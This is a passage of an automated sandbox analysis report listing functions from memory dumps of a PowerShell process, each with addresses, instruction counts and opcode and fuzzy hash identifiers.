                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: ee30d62d8e063c386564c53332191a93b4031350d8b43077cb926792a4f15255
                                                                                                                            • Instruction ID: 9e07c106cedba8aabce7a14c865968bd370063df851f0c914a13a2a590aef520
                                                                                                                            • Opcode Fuzzy Hash: ee30d62d8e063c386564c53332191a93b4031350d8b43077cb926792a4f15255
                                                                                                                            • Instruction Fuzzy Hash: 75518F74601200AFCB46EB78D450BAE7BE7EF8A301F60856DE509AB390DF319C418BA5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A43EFA Relevance: .1, Instructions: 136COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: e8ece5b142593196b3fc43077e03c21ea97cc1e9e3d5460ee16c552b15276247
                                                                                                                            • Instruction ID: 344e9fa974c784d22148d511fb3f837e9fac5ed99613f0d6c7fde82b4dd73b49
                                                                                                                            • Opcode Fuzzy Hash: e8ece5b142593196b3fc43077e03c21ea97cc1e9e3d5460ee16c552b15276247
                                                                                                                            • Instruction Fuzzy Hash: 48518D70A04299AFDF15CFA5C844AEEBFF2BF88310F14802AE855A7391DB399D05CB50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFBE30 Relevance: .1, Instructions: 133COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: cec0a533869872056e96b302fac59eceecc133dec466c90c2e35a52442e1ec39
                                                                                                                            • Instruction ID: e31857d1e9d71694f923b54086ed92c8d21e0c63f6b9698c8410e797c8212161
                                                                                                                            • Opcode Fuzzy Hash: cec0a533869872056e96b302fac59eceecc133dec466c90c2e35a52442e1ec39
                                                                                                                            • Instruction Fuzzy Hash: F341ABF1700205AFD7159F39D84866BBAE7EF89A50F144868FA1AC7780DF74DC498BA0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A417A0 Relevance: .1, Instructions: 129COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: b5daa62fb338fe700862041557db6ff0daf3b2f6d407f0c20f11cd4c67188980
                                                                                                                            • Instruction ID: ccc74be69a8fe5c667a802e4e273d149bad6b6d3a03d76644a71696cd52a597f
                                                                                                                            • Opcode Fuzzy Hash: b5daa62fb338fe700862041557db6ff0daf3b2f6d407f0c20f11cd4c67188980
                                                                                                                            • Instruction Fuzzy Hash: EB416E74601304AFCB46EB78D451B6E7BEBEF8A301F60846DE519AB390DF319C018BA5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A45B50 Relevance: .1, Instructions: 126COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 9a199645edcca360c1e3afed07e0a29d157181204339230fc57cce976090a198
                                                                                                                            • Instruction ID: a0fcc6fb9c803e70fbe51f044697b932160c13d016792ad2f6698104bb27c359
                                                                                                                            • Opcode Fuzzy Hash: 9a199645edcca360c1e3afed07e0a29d157181204339230fc57cce976090a198
                                                                                                                            • Instruction Fuzzy Hash: 56418B71E006159FCB28CF65C850ADEBBF6BFC9300F108569D509AB360EB71AD45CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF9E08 Relevance: .1, Instructions: 126COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: dbb0815140366caca22a343022c60b6af1d0aae487a3433d187874f74443005e
                                                                                                                            • Instruction ID: b8d9882f8e847165afd584b934f0265d9cefbc158a2788d2c7b7836485d52bbb
                                                                                                                            • Opcode Fuzzy Hash: dbb0815140366caca22a343022c60b6af1d0aae487a3433d187874f74443005e
                                                                                                                            • Instruction Fuzzy Hash: 764104B17042019FEB159F74D914BEA3BB1EF89710F1040A9E606EB291DF39ED49C7A0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A41751 Relevance: .1, Instructions: 122COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 9ec8e968cd9cf8add73dcd267a27107e933f01b95005ff214fe8fbada3621d16
                                                                                                                            • Instruction ID: f000044ea7c9459c5b21e3eefdba9f29dbbff5bbc4755a7b0aad3787c65585d1
                                                                                                                            • Opcode Fuzzy Hash: 9ec8e968cd9cf8add73dcd267a27107e933f01b95005ff214fe8fbada3621d16
                                                                                                                            • Instruction Fuzzy Hash: FD418C74601300AFCB06EB78D451BAE7BEBEF8A305F61846DE5159B390CF369C018BA5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF1E68 Relevance: .1, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 2837499729f9718e7fbb935ea9f00a17adf7378bc8340b82436d6d6a9f79bc3f
                                                                                                                            • Instruction ID: fdad583e6168c9516ce155d95e31e1a00a8717d25a3c05a7025af742b822808c
                                                                                                                            • Opcode Fuzzy Hash: 2837499729f9718e7fbb935ea9f00a17adf7378bc8340b82436d6d6a9f79bc3f
                                                                                                                            • Instruction Fuzzy Hash: 27415CB2B00219CBEB14CFA985403EEBBF1EF89755F0484A5D605E7250EB359D49CBA4
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF1558 Relevance: .1, Instructions: 120COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: ec6899413baa31576fae173d7f063ceb0b6e72eba975d0c6e8c2b0a5efc96b37
                                                                                                                            • Instruction ID: 98b70cdb03d389bb11c72c0b9c73e927ce9fd0e865a3d5dadd6e62ba34ba5e00
                                                                                                                            • Opcode Fuzzy Hash: ec6899413baa31576fae173d7f063ceb0b6e72eba975d0c6e8c2b0a5efc96b37
                                                                                                                            • Instruction Fuzzy Hash: FA41C0B470020ADBDB05DF64D8916AE7BB2EF85304F1485A9DA059B794DF30DC49CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A41A88 Relevance: .1, Instructions: 109COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 296919a37e8476f991173ad74ea96774d1c400d9ea2d894bac9731b513d792ee
                                                                                                                            • Instruction ID: ca389d48954fd99a2b0d39ac0e6a80775be32a4cf9b005865202064870754be5
                                                                                                                            • Opcode Fuzzy Hash: 296919a37e8476f991173ad74ea96774d1c400d9ea2d894bac9731b513d792ee
                                                                                                                            • Instruction Fuzzy Hash: 633131B4B05205AFC709ABA998446AFFBE7EFC4214B05806AE519C7791DF30EC46C791
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFEB4F Relevance: .1, Instructions: 106COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: dcc8ef6a151ce8ee84cc033382c935d186cec457f4b10c13c1c78e9106f218e3
                                                                                                                            • Instruction ID: 38301614aa0d16ebb3b6eff7dc52a7f25dff1e6ddec8958a0b0b381e83eca425
                                                                                                                            • Opcode Fuzzy Hash: dcc8ef6a151ce8ee84cc033382c935d186cec457f4b10c13c1c78e9106f218e3
                                                                                                                            • Instruction Fuzzy Hash: 1931E5B1B002049FDB149F65D8586EE7BB2EF88720F148039E906B7390DF359C46CBA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF10A5 Relevance: .1, Instructions: 102COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 3d11fc3756753feb4a1d6ef9d7dbad1472613beeaa80f9e156fef2548b7ae290
                                                                                                                            • Instruction ID: e68f82e22633c0e87f796e7bb058c8df195459eadb44e96b0e3447c7307aa9af
                                                                                                                            • Opcode Fuzzy Hash: 3d11fc3756753feb4a1d6ef9d7dbad1472613beeaa80f9e156fef2548b7ae290
                                                                                                                            • Instruction Fuzzy Hash: 87312AB061869C9FE705CB38D8147EA7BB2EF89714F1449D9C104EB352CB749C49C7A1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A42148 Relevance: .1, Instructions: 99COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 82697c4dcaa3a8871acd2412eadb1bef58e362519d6acf517260a6b3e8421873
                                                                                                                            • Instruction ID: 1fa4a06570c679bb8f52684526a9e9a14fd661021d87cafc4b7442ad3c8a65de
                                                                                                                            • Opcode Fuzzy Hash: 82697c4dcaa3a8871acd2412eadb1bef58e362519d6acf517260a6b3e8421873
                                                                                                                            • Instruction Fuzzy Hash: 9A3125707092946FC7069B28EC246DEBFB6EFC6214705409BE558CB392C6349D45C7A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFE148 Relevance: .1, Instructions: 97COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 26c4ae31e42768c210ce7750f56e63fd9f69a357526a19fec1421792433a9d5e
                                                                                                                            • Instruction ID: 3c1b9bdb794a2a5307a6905fae4bedf9e2f5227080dae00f9e183d2b017a579d
                                                                                                                            • Opcode Fuzzy Hash: 26c4ae31e42768c210ce7750f56e63fd9f69a357526a19fec1421792433a9d5e
                                                                                                                            • Instruction Fuzzy Hash: 9231E071704605ABDB059F75C8049AEB767FFC9620F218229D9198B390EF34ED05CF95
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFDC48 Relevance: .1, Instructions: 94COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 93ead7703e6fedd8f6c1003f10481dbc0620f6b608b0aaa923dfeb8bdd9f6c9d
                                                                                                                            • Instruction ID: 112d936093b90f4b55a45da2637d8b055196a020213f4cf9ca39a5ca41fc1305
                                                                                                                            • Opcode Fuzzy Hash: 93ead7703e6fedd8f6c1003f10481dbc0620f6b608b0aaa923dfeb8bdd9f6c9d
                                                                                                                            • Instruction Fuzzy Hash: 9D31EDB6700206DFDB24CF75D850AAAB7B9FF88715B1085AED61983600DB31E856CBA0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF5E78 Relevance: .1, Instructions: 93COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 3f160dc781562692ca25f1d24afb66b3470a2ede05e261a4b083e0215b9c6dfb
                                                                                                                            • Instruction ID: 1cd1653497d04707ddb4f2a954e202aaad1f736e4cd7acf5047e8b3f5e933d4e
                                                                                                                            • Opcode Fuzzy Hash: 3f160dc781562692ca25f1d24afb66b3470a2ede05e261a4b083e0215b9c6dfb
                                                                                                                            • Instruction Fuzzy Hash: 06315CB5B002098FDB55DB68C894BAEB7B6FF88314F218069E909DB351DB31EC05CB90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFC368 Relevance: .1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: a5872b099a055ee336edf5d980e0b4dc543186c85e6ab1188a0c77e7ef170ba8
                                                                                                                            • Instruction ID: 39b79d5863fd86cbf2c79e868dd3746f306859785ef257f9c9264b2bf2b12944
                                                                                                                            • Opcode Fuzzy Hash: a5872b099a055ee336edf5d980e0b4dc543186c85e6ab1188a0c77e7ef170ba8
                                                                                                                            • Instruction Fuzzy Hash: 8721FCB27042546FD3169BA5A854ABB7FEADBC5221F04407BE109C7241DE359845CBB1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFD099 Relevance: .1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: f128e3f94c3da6ada58a64caac6d40f7b5682b33329a084bb55163ce294748aa
                                                                                                                            • Instruction ID: 1e3ff958c99efe279ed11d939a05c550e0bca998461fb86f11aa2c63f538f096
                                                                                                                            • Opcode Fuzzy Hash: f128e3f94c3da6ada58a64caac6d40f7b5682b33329a084bb55163ce294748aa
                                                                                                                            • Instruction Fuzzy Hash: E5316FB1A00209AFDB05DFA4D854BDE7BB2FF49710F004069E506AB3A5DB78AD49CF91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7AB8 Relevance: .1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 825a49f9d8d0192d8a6e22414a3945dd2ea26f2e3e3cf068159ec4afb2ac3c42
                                                                                                                            • Instruction ID: 306c5e7b47c1c3d82aa4326215c80e9f2fdbe25e1b8ad082ae231377c7410b3d
                                                                                                                            • Opcode Fuzzy Hash: 825a49f9d8d0192d8a6e22414a3945dd2ea26f2e3e3cf068159ec4afb2ac3c42
                                                                                                                            • Instruction Fuzzy Hash: 6D318138A08204EFD705DBA5C855BADBB76EB8D304F25C1A5E91867385DF346D42EF04
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF20D0 Relevance: .1, Instructions: 84COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: c067e1c44dd237da110cfb76523a6f113aff182a3f7e42a2ac8819056e42e96d
                                                                                                                            • Instruction ID: 07409706154bc899f14c237b1463354674e01f97cd7e7becb3450757d0268d01
                                                                                                                            • Opcode Fuzzy Hash: c067e1c44dd237da110cfb76523a6f113aff182a3f7e42a2ac8819056e42e96d
                                                                                                                            • Instruction Fuzzy Hash: 5C21C2763002205FD704DB79E884D9ABBA6FFCA67071480B6E605CB361DB32EC08C790
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4EC80 Relevance: .1, Instructions: 80COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: ddfe3693bce801b39cd1b59479a6dafe1ecedb7bc49a6c0bab4b7bd4a5fcc051
                                                                                                                            • Instruction ID: 26b52c11a9484a84b1345e677c43d2262c99b41dcf1624cd6ff63b9ce4829263
                                                                                                                            • Opcode Fuzzy Hash: ddfe3693bce801b39cd1b59479a6dafe1ecedb7bc49a6c0bab4b7bd4a5fcc051
                                                                                                                            • Instruction Fuzzy Hash: 45215CB97046168FC724DF59E894C2AB7F6FBC82217254469E92AC7361DE31EC01CA90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4EB90 Relevance: .1, Instructions: 80COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 872f38026a802535563c8b969dfab8a3c8d53e667b3fe8bd0929885e1ffb5a9a
                                                                                                                            • Instruction ID: 79b764476274ed2cb3bb26b3af3ca46a8ac4c917234fd387350a8f01b799558e
                                                                                                                            • Opcode Fuzzy Hash: 872f38026a802535563c8b969dfab8a3c8d53e667b3fe8bd0929885e1ffb5a9a
                                                                                                                            • Instruction Fuzzy Hash: 03214FB97446168FC725DF68D894C2AB7F6FFC82207214569E95ACB360DF31EC02CA60
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7968 Relevance: .1, Instructions: 78COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: d5a823e1c6fd7f37cd4e849734beb810df556847abd4112935b68c43dc4ec90b
                                                                                                                            • Instruction ID: 7092d0fea57dd1712510d9998f328054566f52692c44f8d91c24354333af6406
                                                                                                                            • Opcode Fuzzy Hash: d5a823e1c6fd7f37cd4e849734beb810df556847abd4112935b68c43dc4ec90b
                                                                                                                            • Instruction Fuzzy Hash: F1318FB0701206AFE7159B64C458BEABBB6EF48710F5480B8E505E7390CF79AD45CB60
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFC029 Relevance: .1, Instructions: 76COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: b626cf8e4c98134c668e2ac4168052196fbe60b506dcb6aad0b233b7fbc928de
                                                                                                                            • Instruction ID: adccd0b9ae402577792fb8dcac0a35e75497ecf734c48f4f179d333665f837a3
                                                                                                                            • Opcode Fuzzy Hash: b626cf8e4c98134c668e2ac4168052196fbe60b506dcb6aad0b233b7fbc928de
                                                                                                                            • Instruction Fuzzy Hash: 4F2192B5B0020A9FCB05DF68D890AAEBBB2FF88314F104069E905A7351CB31DD56CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFAE48 Relevance: .1, Instructions: 73COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: eb39467ff02b78718c5d604de5ecf90bb074dbbdb994a6377b4efb20a3bc6676
                                                                                                                            • Instruction ID: d2a2b5f29ea2550b830093bd0e06b4a263e2f288545673db91e2fcec7d0d4551
                                                                                                                            • Opcode Fuzzy Hash: eb39467ff02b78718c5d604de5ecf90bb074dbbdb994a6377b4efb20a3bc6676
                                                                                                                            • Instruction Fuzzy Hash: 122190702082157FC309EB34D58569A73A7EFC92083818D68C22DCF656DF72BD098BA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF86F0 Relevance: .1, Instructions: 70COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: bc79394666fcdbc09c41610d7da2a427189112ed9abb532acc6a53bd6651f46f
                                                                                                                            • Instruction ID: c263a7f24d646249fc9c31f82a42fb4b26f645b87d0bfc66695e8e5794c48acf
                                                                                                                            • Opcode Fuzzy Hash: bc79394666fcdbc09c41610d7da2a427189112ed9abb532acc6a53bd6651f46f
                                                                                                                            • Instruction Fuzzy Hash: 0B218B70A003099FCB15DF64D880AEEFBF2FF88300F004A69D509AB651D731A9468BA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7740 Relevance: .1, Instructions: 68COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 8c108643cc7043201e3a851ee3a804f92fb04b02daba619dc76955d26f78c840
                                                                                                                            • Instruction ID: 798a61f0bad0c25a5a97fea6767c4d1d64763f331791930229c5d2eef9c55fad
                                                                                                                            • Opcode Fuzzy Hash: 8c108643cc7043201e3a851ee3a804f92fb04b02daba619dc76955d26f78c840
                                                                                                                            • Instruction Fuzzy Hash: 40216DB16002059FEB159F64DA18BEE7BF6EF48B11F2440F9D502A7291DF799D04CBA0
